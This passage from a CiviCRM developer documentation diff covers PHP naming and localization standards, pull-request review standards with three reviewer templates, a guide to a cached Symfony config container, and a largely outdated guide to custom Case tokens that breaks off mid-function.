+> * (Common in Drupal 8) Place classes in the "Drupal\" namespace using PHP 5.3 conventions (e.g. `Drupal\Foo\BarWhiz`)
+
+
+**CiviCRM Standard**
+
+Classes and interfaces in Civi take one of two forms:
+
+* For the `CRM_` namespace, follow the PEAR convention (using underscores for pseudo-namespaces; e.g. `CRM_Foo_BarWhiz`).
+* For the `Civi\` namespace, follow the PHP 5.3 convention (using backslashes for namespaces; e.g. `Civi\Foo\BarWhiz`).
+
+**Rationale for Change**
+
+Changing these can be quite difficult and can break interfaces consumed by downstream. For more discussion of `CRM_` and `Civi\`, see [The Codebase](../framework/filesystem.md).
+
+## Localization
+
+Any string that will be displayed to the user should be wrapped in `ts()` to translate the string:
+
+```php
+$string = ts("Hello, world!");
+```
+
+Translation strings can also include placeholders for variables:
+
+```php
+$string = ts("Membership for %1 has been updated. The membership End Date is %2.", array(
+  1 => $userDisplayName,
+  2 => $endDate,
+));
+```
+
+For more information on translation, see [Translation for Developers](../translation/index.md).
+
+## Scope
+
+The CiviCRM Coding Standard for PHP Code and Inline Documentation applies to all PHP code in the CiviCRM code base, except files under the following directories:
+
+1. `packages/`
+1. `packages.orig/`
+1. `tools/`
+1. `joomla/`
+1. `WordPress/`

docs/standards/review.md

+These review standards provide a name and description for common review tasks.
+
+## Usage
+
+When [reviewing a pull-request](../core/pr-review.md), you may consult this list for ideas/inspiration on things to check.  If you find a problem or feel that some QA task remains to
+be done, then it can help to post a link to the relevant guideline.  This practice allows newcomers to understand the critique, but it doesn't require you to
+write a long, bespoke blurb.
+
+!!! tip "Standard codes"
+    Each standard has a code name (e.g. `r-explain`). These make it easier to reference the standards when chatting with others about PR review.
+
+## Templates
+
+You may conduct a structured review, checking each standard in turn. Doing this  will be easier if you copy a template and paste it into your Github comment.
+
+* When conducting your first or second structured review, copy [template-del-1.0.md](https://raw.githubusercontent.com/civicrm/civicrm-dev-docs/master/docs/standards/review/template-del-1.0.md) or [template-mc-1.0.md](https://raw.githubusercontent.com/civicrm/civicrm-dev-docs/master/docs/standards/review/template-mc-1.0.md). It provides several examples.
+* Once you're familiar with the criteria, copy [template-word-1.0.md](https://raw.githubusercontent.com/civicrm/civicrm-dev-docs/master/docs/standards/review/template-word-1.0.md). It's a bit shorter and quicker.
+
+## General standards
+
+### Explanation {:#r-explain}
+
+_Standard code: `r-explain`_
+
+Ensure the PR has an adequate explanation. 
+
+If you were a site-builder reading the PR-log/release-notes and drilled into this PR, would you understand the description? If you were debugging a problem and traced the change back to this PR, would you understand why the change was made?
+
+It is strongly encouraged that PR's include URLs/hyperlinks for any explanatory material (when available) -- such as a [Gitlab issue](http://lab.civicrm.org/), [JIRA issue](../tools/issue-tracking.md#jira), [StackExchange question](https://civicrm.stackexchange.com/), related PR, or [Mattermost chat](https://chat.civicrm.org). However, hyperlinks are not a substitute for a description. The PR should still have a description.
+
+PR descriptions should generally follow the [pull-request template](https://github.com/civicrm/civicrm-core/blob/master/.github/PULL_REQUEST_TEMPLATE.md), although this could be waived if another structure is more expressive.
+
+__Exception__: 
+
+* [WIP](../tools/git.md#wip) PRs do not need a detailed explanation until they're ready for earnest review.
+* Genuine [NFC](../tools/git.md#nfc) PRs do not need a detailed explanation. 
+
+### User impact {:#r-user}
+
+_Standard code: `r-user`_
+
+If a user was comfortable using the old revision, would they upgrade and assimilate naturally and unthinkingly to the new revision? If not, has there been commensurate effort to provide a fair transition-path and communication?
+
+### Documentation {:#r-doc}
+
+_Standard code: `r-doc`_
+
+Some changes require adding or updating documentation. Consider the impact of this change on users, system administrators, and developers. Do they need additional instructions in order to reap the benefits of this change? If so, [update documentation](../documentation/index.md) as necessary by making a corresponding PR on one of the guides.
+
+### Run it {:#r-run}
+
+_Standard code: `r-run`_
+
+Use the code somehow. You don’t need to attack every imaginable scenario in every PR, but you should do something to try it out. Be proportionate.
+
+## Developer standards
+
+### Technical impact {:#r-tech}
+
+_Standard code: `r-tech`_
+
+* Would the patch materially change the contract (signature/pre-condition/post-condition) for APIv3, a hook, a PHP function, a PHP class, a JS widget, or a CSS class?
+* Would you consider the changed element to be an officially supported contract? A de-facto important contract? An obscure internal detail?
+* How might the change affect other parts of `civicrm-core`? extensions? third-party integrations?
+* If it's hard to answer, look for inspiration:
+    * Grep `civicrm-core` or [universe](../tools/universe.md) to find out where the API/hook/function/etc is called. Consider how these might be affected.
+    * Look at the [Gotchas](#gotchas) for a list of issues that have been mistakenly overlooked in past reviews.
+* If there is a foreseeable problem:
+    * Is there a simple alternative?
+    * Has there been commensurate effort to communicate change and provide a fair transition path?
+
+### Code quality {:#r-code}
+
+_Standard code: `r-code`_
+
+Is it understandable? Does it follow common conventions? Does it fit in context? If it changes a difficult section of code -- does it tend to make that section better or worse?
+
+### Maintainability {:#r-maint}
+
+_Standard code: `r-maint`_
+
+Many changes should introduce some kind of automated test or protective measure to ensure maintainability. However, there can be tricky cost/benefit issues, and the author and reviewer must exercise balanced judgment.
+
+### Test results {:#r-test}
+
+_Standard code: `r-test`_
+
+If the [automated tests](../testing/continuous-integration.md) come back with any failures, look into why. Hopefully, Jenkins provides an itemized list of failures. If not, dig further into the "Console" output for PHP-fatals or build-failures.
+
+## Gotchas
+
+### Packaging {:#rg-pkg}
+
+_Standard code: `rg-pkg`_
+
+If the PR adds a new top-level file, new top-level folder, or novel file-type, consider whether "distmaker" will properly convey the file in `*.zip/*.tar.gz` builds.
+
+If the PR *removes* a dangerous file, then common package handling may not be enough to remove the file. (This is particularly for Joomla users, but also true for with
+manual file management on other platforms.) Consider updating `CRM_Utils_Check_Component_Security::checkFilesAreNotPresent`.
+
+### Permissions {:#rg-perm}
+
+_Standard code: `rg-perm`_
+
+If the PR changes the permissions model (by adding, removing, or repurposing a permission), are we sure that demo/test builds and existing installations will continue to work as expected?
+
+### Security {:#rg-sec}
+
+_Standard code: `rg-sec`_
+
+If the PR passes data between different tiers (such as SQL/PHP/HTML/CLI), is this data [escaped and validated](../security/index.md) correctly? Or would it be vulnerable to SQL-injections, cross-site scripting, or similar?
+
+### Settings {:#rg-setting}
+
+_Standard code: `rg-setting`_
+
+If the PR adds or removes a setting, will existing deployments or build-scripts which reference the setting continue to work as expected?
+
+### Upgrades {:#rg-upgrades}
+
+_Standard code: `rg-upgrades`_
+
+Some PRs change the database by modifying schema or inserting new data. Ensure new installations and upgraded installations will end up with consistent schema. (Extra: If it's a backport, take extra care to consider all upgrade paths.)
+
+If the upgrade adds a column or index, use a helper function to insert it. (This makes the upgrade more robust against alternative upgrade paths, such as backports/cherry-picks.)
+
+If the upgrade needs to populate or recompute data on a large table (such as `civicrm_contact`, `civicrm_activity`, or `civicrm_mailing_event_queue`), the upgrade screen could timeout. Consider applying the updates in batches.
+
+If the upgrade inserts new strings, should they be generated in a multilingual-friendly way?
+
+!!! seealso "See also: [Upgrade Reference](../framework/upgrade.md)"
+
+### Hook signature {:#rg-hook}
+
+_Standard code: `rg-hook`_
+
+Adding a new parameter to an existing hook may be syntactically safe, but is it semantically safe?

docs/standards/review/template-del-1.0.md

+(*CiviCRM Review Template DEL-1.2*)
+
+<!-- In each category, choose the option that most applies. Delete the others. Optionally, provide more details or explanation in the "Comments". -->
+* General standards
+    * Explain ([`r-explain`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-explain))
+        * __UNREVIEWED__
+        * __PASS__ : The goal/problem/solution have been adequately explained in the PR.
+        * __PASS__ : The goal/problem/solution have been adequately explained with a link (JIRA, Github, Gitlab, StackExchange).
+        * __ISSUE__: Please provide a better explanation of the goal/problem being addressed.
+        * __ISSUE__: Please provide a better explanation of how this solution works.
+        * __COMMENTS__: <!-- optional -->
+    * User impact ([`r-user`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-user))
+        * __UNREVIEWED__
+        * __PASS__: The change would be intuitive or unnoticeable for a majority of users who work with this feature.
+        * __ISSUE__: The change would noticeably impact the user-experience (eg requiring retraining), and the approach should be changed.
+        * __ISSUE__: The change would noticeably impact the user-experience (eg requiring retraining), and we need a better transition/communication plan.
+        * __PASS__: The change would noticeably impact the user-experience (eg requiring retraining), but this has been addressed with a suitable transition/communication plan.
+        * __COMMENTS__: <!-- optional -->
+    * Documentation ([`r-doc`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-doc))
+        * __UNREVIEWED__
+        * __PASS__: There are relevant updates for the documentation.
+        * __PASS__: The changes do not require documentation.
+        * __ISSUE__: The user documentation should be updated.
+        * __ISSUE__: The administrator documentation should be updated.
+        * __ISSUE__: The developer documentation should be updated.
+        * __COMMENTS__: <!-- optional -->
+    * Run it ([`r-run`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-run))
+        * __UNREVIEWED__
+        * __PASS__: <!-- describe how you ran it -->
+        * __ISSUE__: <!-- describe how you ran it -->
+* Developer standards
+    * Technical impact ([`r-tech`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-tech))
+        * __UNREVIEWED__
+        * __PASS__: The change preserves compatibility with existing callers/code/downstream.
+        * __PASS__: The change potentially affects compatibility, but the risks have been sufficiently managed.
+        * __ISSUE__: The change potentially affects compatibility, and the risks have **not** been sufficiently managed.
+        * __COMMENTS__: <!-- optional -->
+    * Code quality ([`r-code`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-code))
+        * __UNREVIEWED__
+        * __PASS__: The functionality, purpose, and style of the code seems clear+sensible.
+        * __ISSUE__: Something was unclear to me.
+        * __ISSUE__: The approach should be different.
+        * __COMMENTS__: <!-- optional -->
+    * Maintainability ([`r-maint`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-maint))
+        * __UNREVIEWED__
+        * __PASS__: The change sufficiently improves test coverage, or the change is trivial enough that it does not require tests.
+        * __PASS__: The change does not sufficiently improve test coverage, but special circumstances make it important to accept the change anyway.
+        * __ISSUE__: The change does not sufficiently improve test coverage.
+        * __COMMENTS__: <!-- optional -->
+    * Test results ([`r-test`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-test))
+        * __UNREVIEWED__
+        * __PASS__: The test results are all-clear.
+        * __PASS__: The test results have failures, but these have been individually inspected and found to be irrelevant.
+        * __ISSUE__: The test failures need to be resolved.
+        * __COMMENTS__: <!-- optional -->

docs/standards/review/template-mc-1.0.md

+(*CiviCRM Review Template MC-1.2*)
+
+<!-- In each category, choose the option that most applies. Optionally, provide more details or explanation in the "Comments". -->
+* General standards
+    * Explain ([`r-explain`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-explain))
+        * [ ] __PASS__ : The goal/problem/solution have been adequately explained in the PR.
+        * [ ] __PASS__ : The goal/problem/solution have been adequately explained with a link (JIRA, Github, Gitlab, StackExchange).
+        * [ ] __ISSUE__: Please provide a better explanation of the goal/problem being addressed.
+        * [ ] __ISSUE__: Please provide a better explanation of how this solution works.
+        * [ ] __COMMENTS__: <!-- optional -->
+    * User impact ([`r-user`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-user))
+        * [ ] __PASS__: The change would be intuitive or unnoticeable for a majority of users who work with this feature.
+        * [ ] __ISSUE__: The change would noticeably impact the user-experience (eg requiring retraining), and the approach should be changed.
+        * [ ] __ISSUE__: The change would noticeably impact the user-experience (eg requiring retraining), and we need a better transition/communication plan.
+        * [ ] __PASS__: The change would noticeably impact the user-experience (eg requiring retraining), but this has been addressed with a suitable transition/communication plan.
+        * [ ] __COMMENTS__: <!-- optional -->
+    * Documentation ([`r-doc`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-doc))
+        * [ ] __PASS__: There are relevant updates for the documentation, or the changes do not require documentation.
+        * [ ] __ISSUE__: The user documentation should be updated.
+        * [ ] __ISSUE__: The administrator documentation should be updated.
+        * [ ] __ISSUE__: The developer documentation should be updated.
+        * [ ] __COMMENTS__: <!-- optional -->
+    * Run it ([`r-run`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-run))
+        * [ ] __PASS__: <!-- describe how you ran it -->
+        * [ ] __ISSUE__: <!-- describe how you ran it -->
+        * [ ] __COMMENTS__: <!-- optional -->
+* Developer standards
+    * Technical impact ([`r-tech`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-tech))
+        * [ ] __PASS__: The change preserves compatibility with existing callers/code/downstream.
+        * [ ] __PASS__: The change potentially affects compatibility, but the risks have been sufficiently managed.
+        * [ ] __ISSUE__: The change potentially affects compatibility, and the risks have **not** been sufficiently managed.
+        * [ ] __COMMENTS__: <!-- optional -->
+    * Code quality ([`r-code`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-code))
+        * [ ] __PASS__: The functionality, purpose, and style of the code seems clear+sensible.
+        * [ ] __ISSUE__: Something was unclear to me.
+        * [ ] __ISSUE__: The approach should be different.
+        * [ ] __COMMENTS__: <!-- optional -->
+    * Maintainability ([`r-maint`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-maint))
+        * [ ] __PASS__: The change sufficiently improves test coverage, or the change is trivial enough that it does not require tests.
+        * [ ] __PASS__: The change does not sufficiently improve test coverage, but special circumstances make it important to accept the change anyway.
+        * [ ] __ISSUE__: The change does not sufficiently improve test coverage.
+        * [ ] __COMMENTS__: <!-- optional -->
+    * Test results ([`r-test`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-test))
+        * [ ] __PASS__: The test results are all-clear.
+        * [ ] __PASS__: The test results have failures, but these have been individually inspected and found to be irrelevant.
+        * [ ] __ISSUE__: The test failures need to be resolved.
+        * [ ] __COMMENTS__: <!-- optional -->

docs/standards/review/template-word-1.0.md

+(*CiviCRM Review Template WORD-1.2*)
+
+<!-- In each category, change the word "Undecided" to "Pass" or "Issue". Add explanatory comments if prompted or desired. -->
+
+* General standards
+    * ([`r-explain`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-explain)) __Undecided__
+    * ([`r-user`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-user)) __Undecided__: <!-- Describe -->
+    * ([`r-doc`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-doc)) __Undecided__
+    * ([`r-run`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-run)) __Undecided__: <!-- Describe -->
+* Developer standards
+    * ([`r-tech`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-tech)) __Undecided__: <!-- Describe -->
+    * ([`r-code`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-code)) __Undecided__
+    * ([`r-maint`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-maint)) __Undecided__
+    * ([`r-test`](https://docs.civicrm.org/dev/en/latest/standards/review/#r-test)) __Undecided__

docs/step-by-step/create-cached-config-container.md

+# Step by Step Guide: Create a Cached Config Container
+
+## Introduction
+
+The cached configuration container in your extension could be used to store any sort of configuration in code to have it easily and quickly accessible.
+
+Configuration could be anything, such as custom groups, custom fields, activity types, case types etc...
+
+The cached configuration container is an on the fly generated PHP file and stored in the `templates_c` folder of your CiviCRM installation. We don't need any extra database calls to retrieve the configuration it is all in code and therefore extremely fast to load.
+
+In this guide we create a basic container for relationship types and for a custom group and a custom field.
+
+**Building the cached config container**
+
+When no cached config container exists one is created and then the following happens:
+
+1. The function `ConfigContainer::build` is called with a containerBuilder object as a parameter. 
+   In the function `build` we define how the _ConfigContainer_ should be build when it is requested.
+2. The result from the `containerBuilder` object is stored as PHP code in the _templates_c_ folder
+
+**Creating a config container instance**
+
+An instance of the _config container_ is created by checking if the PHP file exists in the `templates_c` folder. 
+If it exists then it is included and the config container object is created.
+
+**Requirements**
+
+We need two files:
+
+* `ConfigContainer` class, this one holds the actual configuration
+* `ConfigContainerBuilder` class, this one holds the functionality to generate a ConfigContainer class.
+
+## Create the config container skeleton
+
+First we need to create the skeleton of the config container. 
+The config container extends the [symfony dependency injection](https://symfony.com/doc/current/components/dependency_injection.html) `Container` class, this makes it easier to store it in a PHP file.
+
+```php
+namespace \Civi\MyExtension;
+
+use \Symfony\Component\DependencyInjection\Container;
+use \Symfony\Component\DependencyInjection\ContainerBuilder;
+
+class ConfigContainer extends Container {
+
+  /**
+   * Build the container with the custom field and custom groups.
+   *
+   * @param ContainerBuilder $containerBuilder
+   */
+  public static function build(ContainerBuilder $containerBuilder) {
+    // This is where the actual retrieval of configuration happens.
+  }
+
+}
+```
+
+The first three lines consist of the namespace declaration and the use statements. 
+We both need the `Container` and `ContainerBuilder` class. Those classes are from the [symfony dependency injection system](https://symfony.com/doc/current/components/dependency_injection.html).
+
+Then we define the name of our class: `ConfigContainer` extending the symfony `Container` class.
+
+## Retrieve and set the configuration
+
+In this step we will define the contents of the _config container_. We will lookup a custom group (with the name _MyCustomGroup_), a custom field (with the name _MyCustomField_) and a relationship type (with the name _Is Child_).
+
+We do this in the `build` function of the `ConfigContainer` class.
+
+```php
+class ConfigContainer extends Container {
+
+  /**
+   * Build the container with the custom field and custom groups.
+   *
+   * @param ContainerBuilder $containerBuilder
+   */
+  public static function build(ContainerBuilder $containerBuilder) {
+    $customGroup = civicrm_api3('CustomGroup', 'getsingle', ['name' => 'MyCustomGroup']);
+    $customField = civicrm_api3('CustomField', 'getsingle', ['name' => 'MyCustomField']);
+    $childRelationshipType = civicrm_api3('RelationshipType', 'getsingle', ['name_a_b' => 'Is Child']);
+   
+    // Now store the data in the container builder.
+    $containerBuilder->setParameter('customGroup', $customGroup);
+    $containerBuilder->setParameter('customField', $customField);
+    $containerBuilder->setParameter('childRelationshipType', $childRelationshipType);
+  }
+}
+```
+
+### Creating the Getter functions
+
+Now it is time to add the _getter_ methods to the class. We can access the data passed to the builder with the `getParameter` function. For maintainability, it is better to use our own defined _getter_ methods so that we can make sure the return value is what we expected.
+
+We will define the following getter methods:
+
+* `GetMyCustomGroupId`: to return the ID of the custom group
+* `GetMyCustomFieldId`: to return the ID of the custom field
+* `GetChildRelationshipTypeId`: to return the ID of the Is Child relationship type
+
+```php
+class ConfigContainer extends Container {
+
+  /**
+   * @return int
+   */
+  public function getMyCustomGroupId() {
+    return $this->getParameter('CustomGroup')['id'];
+  }
+
+  /**
+   * @return int
+   */
+  public function getMyCustomFieldId() {
+    return $this->getParameter('CustomField')['id'];
+  }
+
+  /**
+   * @return int
+   */
+  public function getChildRelationshipTypeId() {
+    return $this->getParameter('childRelationshipType')['id'];
+  }
+
+  /**
+   * Build the container with the custom field and custom groups.
+   *
+   * @param ContainerBuilder $containerBuilder
+   */
+  public static function build(ContainerBuilder $containerBuilder) {
+    // ... see previous step 
+  }
+}
+```
+
+### Create the ConfigContainerBuilder class
+
+We need to do one more thing and that is to create the config container builder class. This class takes care of creating and caching the `ConfigContainer`.
+
+The `ConfigContainerBuilder` class follows the [singleton pattern](https://refactoring.guru/design-patterns/singleton). 
+An instance is returned by the function `getInstance`, if a cached class already exists it will include the cached class, if it does not exist it will create one.
+
+The cached container is stored in the _templates_c_ directory of CiviCRM. So whenvever the CiviCRM cache is cleared our cached config container class is also removed.
+
+First we create the class by putting it in the same namespace as the `ConfigContainer` class.
+
+Next we define a `getInstance` function where all the magic happens:
+
+1. First we check whether we already have an existing instance of `configContainer` if so we return that one.
+2. In the next bit we define the filename in `$file`. The filename contains an ID of the environment.
+3. If the file `$file` exists we will include it and create and return an instance of `MyCachedConfigContainer`, which is a sub class of `ConfigContainer`.
+4. In the next bit we will build and create the file `$file`. We do this by creating a new `ContainerBuilder` class and pass this to our earlier defined `build` function of `ConfigContainer` class.
+5. Lastly we will write the `ContainerBuilder` to the PHP file (`$file`) with the `PhpDumper` class. We state that we want to call the class `MyCachedConfigContainer` and that it is a subclass of `ConfigContainer`.
+
+
+
+```php
+
+namespace \Civi\MyExtension;
+
+use \Symfony\Component\DependencyInjection\Container;
+use \Symfony\Component\DependencyInjection\ContainerBuilder;
+use \Symfony\Component\DependencyInjection\Dumper\PhpDumper;
+
+class ConfigContainerBuilder {
+
+  /**
+   * @var \Symfony\Component\DependencyInjection\Container
+   */
+  private static $configContainer;
+
+  /**
+   * @return \Civi\MyExtension\ConfigContainer
+   */
+  public static function getInstance() {
+    if (!self::$configContainer) {
+      $envId = \CRM_Core_Config_Runtime::getId();
+      $file = CIVICRM_TEMPLATE_COMPILEDIR."/MyCachedConfigContainer.{$envId}.php";
+      if (!file_exists($file)) {
+        // Create the builder for the config container
+        $containerBuilder = new ContainerBuilder();
+        ConfigContainer::build($containerBuilder);
+        $containerBuilder->compile();
+        // Store the builder as a php file.
+        $dumper = new PhpDumper($containerBuilder);
+        file_put_contents($file, $dumper->dump([
+          'class' => 'MyCachedConfigContainer',
+          'base_class' => '\Civi\MyExtension\ConfigContainer',
+        ]));
+      }
+      // Include the cached config container and instanciate a new instance
+      require_once $file;
+      self::$configContainer = new \MyCachedConfigContainer();
+    }
+    return self::$configContainer;
+  }
+}
+```
+
+## How to use the `ConfigContainer`
+
+Below an example of how to use the `ConfigContainer` class in your code.
+
+We will first retrieve an instance of the `ConfigContainer` class from the `ConfigContainerBuilder`. We can then use this class to retrieve the configuration.
+
+```php
+$configContainer = \Civi\MyExtension\ConfigContainerBuilder::getInstance();
+
+$customGroupId = $configContainer->getCustomGroupId();
+$isChildRelationshipTypeId = $configContainer->getChildRelationshipTypeId();
+```
+
+## An example of the CachedConfigContainer
+
+You can lookup the cached config container in the _templates_c_ directory.
+
+It has the filename of MyCachedConfigContainer.1234cdefgh.php (whereby `1234cdefgh` is a random string).
+
+Opening the file gives something like this below. The function `getDefaultParameters` contains the build configuration.
+
+```php
+
+/**
+ * This class has been auto-generated
+ * by the Symfony Dependency Injection Component.
+ *
+ * @final since Symfony 3.3
+ */
+class MyCachedConfigContainer extends \Civi\MyExtension\ConfigContainer
+{
+  // ...
+  /**
+   * Gets the default parameters.
+   *
+   * @return array An array of the default parameters
+   */
+  protected function getDefaultParameters()
+  {
+    return [
+      'customGroup' => [
+        'id' => '1',
+        'name' => 'MyCustomGroup',
+        'title' => 'My Custom group',
+        'extends' => 'Participant',
+        'extends_entity_column_id' => '2',
+        'extends_entity_column_value' => [0 => '1'],
+        'style' => 'Inline',
+        'collapse_display' => '0',
+        'weight' => '1',
+        'is_active' => '1',
+        'table_name' => 'civicrm_value_my_custom_group_1',
+        'is_multiple' => '0',
+        'collapse_adv_display' => '0',
+        'is_reserved' => '0',
+        'is_public' => '1',
+      ],
+      'customField' => [
+        'id' => '2',
+        'custom_group_id' => '1',
+        'name' => 'MyCustomField',
+        'label' => 'My Custom Field',
+        'data_type' => 'String',
+        'html_type' => 'Text',
+        'is_required' => '0',
+        'is_searchable' => '1',
+        'is_search_range' => '0',
+        'weight' => '10',
+        'is_active' => '1',
+        'is_view' => '0',
+        'text_length' => '255',
+        'column_name' => 'my_custom_field_2',
+        'serialize' => '0',
+        'in_selector' => '0',
+      ],
+      // ...
+    ];
+  }
+  
+  // ...
+}
+```
+
+## Test your knowledge
+
+<iframe src="https://learn.civi.be/wp-admin/admin-ajax.php?action=h5p_embed&id=4" width="608" height="300" frameborder="0" allowfullscreen="allowfullscreen"></iframe>
+
+## See also
+
+* [Symfony Dependency Injection](https://symfony.com/doc/current/components/dependency_injection.html)
+* [Singleton creational design pattern](https://refactoring.guru/design-patterns/singleton)
+* The [Data Processor extension](https://lab.civicrm.org/extensions/dataprocessor) has a working implementation. 

docs/step-by-step/create-custom-case-token.md

+# Create a custom Case token
+
+This step-by-step guide is mostly out of date, except the very first section, - use are your own risk - the MOST out-of-date parts have been lightly edited but this is generally not the right place to read. The exception is the first part - Implement Symfony Event 'civi.token.eval' - this is still correct / useful.
+
+It was used to show how you can programmatically create your own tokens for CiviCase based on code that was deprecated in early to mid 2021. 
+
+## Implement Symfony Event 'civi.token.eval'
+
+The last bit we need to implement is the **Symfony event** `civi.token.eval` this event is used in a scheduled reminder context and in the actions Print/Merge Document after an activity search.
+
+Add the following code to `mycasetokens.php`:
+
+```php 
+/**
+ * Implements hook_civicrm_container().
+ *
+ * @link https://docs.civicrm.org/dev/en/latest/hooks/hook_civicrm_container/
+ */
+function mycasetokens_civicrm_container($container) {
+  $container->addResource(new \Symfony\Component\Config\Resource\FileResource(__FILE__));
+  $container->findDefinition('dispatcher')->addMethodCall('addListener',
+    array('civi.token.eval', 'mycasetokens_evaluate_tokens')
+  );
+}
+
+/**
+ * Symfony event for civi.token.eval
+ *
+ * @param \Civi\Token\Event\TokenValueEvent $event
+ */
+function mycasetokens_evaluate_tokens(Civi\Token\Event\TokenValueEvent $event) {
+  foreach ($event->getRows() as $row) {
+    $case_id = null;
+    if (isset($row->context['actionSearchResult']) && ($row->context['actionSearchResult']->activity_id)) {
+      $case_id = mycasetokens_get_case_id_by_activity_id($row->context['actionSearchResult']->activity_id);
+    } elseif (isset($row->context['actionSearchResult']) && ('civicrm_activity' == $row->context['actionSearchResult']->entity_table && $row->context['actionSearchResult']->entity_id)) {
+      $case_id = mycasetokens_get_case_id_by_activity_id($row->context['actionSearchResult']->entity_id);
+    } elseif (isset($row->context['activityId']) && $row->context['activityId']) {
+      $case_id = mycasetokens_get_case_id_by_activity_id($row->context['activityId']);
+    }
+    if ($case_id) {
+      $row->tokens('mycasetokens', 'case_manager', mycasetokens_retrieve_case_manager($case_id));
+    }
+  }
+}
+```
+In the code above we use the [hook_civicrm_container](../hooks/hook_civicrm_container.md) to add an **Symfony event listener** to the `civi.token.eval` and we declare it to be the function `mycasetokens_evaluate_tokens`.
+
+
+## Everything below here is out-of-date
+
+We will create a token which displays the name of the case coordinator and the role the person has on the case.
+
+But we will start with a bit of theory to explain how token works. 
+
+## Theory
+
+CiviCRM provides the [hook_civicrm_tokenValues](../hooks/hook_civicrm_tokenValues/) for replacing tokens with a personalized value. This hook is deprecated and you should not implment it.
+
+When a message in CiviCRM is personalized the engine around tokens only knows about the Contact, not whether the message is used for a Contribution, a Case, an Event registration etc...
+So this means for us as developers the only information we have is the **Contact ID**, and an array with **Values**.
+
+Nevertheless, there are some workarounds to get to know more about the context. But those workarounds depends on when the message is generated
+
+### Scheduled reminders
+
+Scheduled reminders use the [Token Processor](../../framework/token/#token-processor) for replacing token contents. The core code supplies Case Tokens. However, it is possible to add additional tokens. The key event to implment is the **Symfony event** `civi.token.eval`.
+
+In the event `civi.token.eval` we get the `\Civi\Token\Event\TokenValueEvent` object which holds all the rows and with each row we can replace the tokens.
+
+`$row->context['contactId']` (for example)  can be used to get the contact ID.
+
+### Search results
+
+When doing a **Print/Merge Document** after a case search the **Case ID** should be in the `$row->context['caseId']`
+
+When doing a **Print/Merge Document** after an activity search the tokens are replaced with the [Token Processor](../../framework/token/#token-processor) and the activity id is stored in the `context` of the row in `activityId`.
+
+When doing a **Send E-mail** after an activity search we need a hack to store the related activity ids. 
+
+### CiviRules
+
+When a CiviRule executes the data from the trigger is stored in `$values['extra_data']`. 
+
+The actions: Send PDF and Send E-mail uses the following to pass data about the context of civirules:
+
+* **Participant**: `$values['extra_data']['participant']['id']`
+* **Event**: `$values['extra_data']['event']['id']`
+* **Case**: `$values['case_id']` or `$values['extra_data']['case']['id']`. The `$values['case_id']` is used when the e-mail or pdf is filed on the case. 
+* **Contribution**: `$values['extra_data]['contribution]['id']`
+* **Activity**: `$values['extra_data']['activity']['id']`
+
+### Action Provider (Form Processor)
+
+The actions: Create PDF and Send E-mail uses the following to pass data about the context of the action:
+
+* **Participant**: `$values['extra_data']['participant']['id']`
+* **Event**: _no information is passed_
+* **Case**: `$values['case_id']`
+* **Contribution**: `$values['contribution_id']`
+* **Activity**: `$values['activity_id']`
+
+
+## Our approach
+
+To get our token working in every context we are going to make use of the following hooks/symfony events:
+
+**Which hooks to use to inform CiviCRM about our token?**
+
+* DO NOT USE ANYMORE - [hook_civicrm_tokens](../hooks/hook_civicrm_tokens/): with this hook we inform CiviCRM about our token.
+
+**Which hooks to use for replacing token contents?**
+
+* DO NOT USE ANYMORE - [hook_civicrm_tokenValues](../hooks/hook_civicrm_tokenValues/): replace our token for when used from Search, CiviRules or Action Provider.
+* `civi.token.eval` **Symfony event**: to replace our token when used in the scheduled reminder settings. This will only work for activities and when the scheduled reminder is executed on an activity on a case.
+
+**Which hooks to use for search context hack?** 
+
+* [hook_civicrm_buildForm/](../hooks/hook_civicrm_buildForm/): Only needed when the form is a `CRM_Activity_Form_Task_Email` and we store the activity IDs in `\Civi::$statics['mycasetokens']['activity_ids']` 
+
+**How do we know about the case involved?**
+
+With [hook_civicrm_tokens](../hooks/hook_civicrm_tokens/) we check the following:
+
+* `$values['case_id']`
+* `$values['activity_id']` and then lookup the case ID of this activity
+* `$values['extra_data']['activity']['id']` and then lookup the case ID of this activity
+* `\Civi::$statics['mycasetokens']['activity_ids']` and then lookup the case ID of this activity. As you can see multiple activities could be selected.
+
+## Create an extension
+
+Run the command `civix generate:module mycasetokens` to generate a new extension.
+You may enable the extension right away. 
+
+Change `info.xml` to your liking. 
+
+## Get case manager
+
+Implement a function to return the name of the manager role on the case and the name of the contact that has this role.
+
+```php
+/**
+ * Returns the case manager role name and the display name of the contact who is the manager.
+ *
+ * @param $case_id
+ *
+ * @return string
+ * @throws \CiviCRM_API3_Exception
+ */
+function mycasetokens_retrieve_case_manager($case_id) {
+  $case = civicrm_api3('Case', 'getsingle', ['id' => $case_id]);
+  $caseType = civicrm_api3('CaseType', 'getsingle', ['id' => $case['case_type_id']]);
+  $xmlProcessor = new CRM_Case_XMLProcessor_Process();
+  $caseRoles = $xmlProcessor->get($caseType['name'], 'CaseRoles');
+  list($managerRoleId, $dir) = explode("_", $xmlProcessor->getCaseManagerRoleId($caseType['name']), 2);
+  $sql = "
+    SELECT `display_name`
+    FROM `civicrm_contact`
+    INNER JOIN `civicrm_relationship` ON `civicrm_relationship`.`contact_id_b` = `civicrm_contact`.`id`
+    WHERE `civicrm_relationship`.`case_id` = %1 AND `civicrm_relationship`.`relationship_type_id` = %2
+    AND `is_active` = '1'";
+  $sqlParams[1] = [$case_id, 'Integer'];
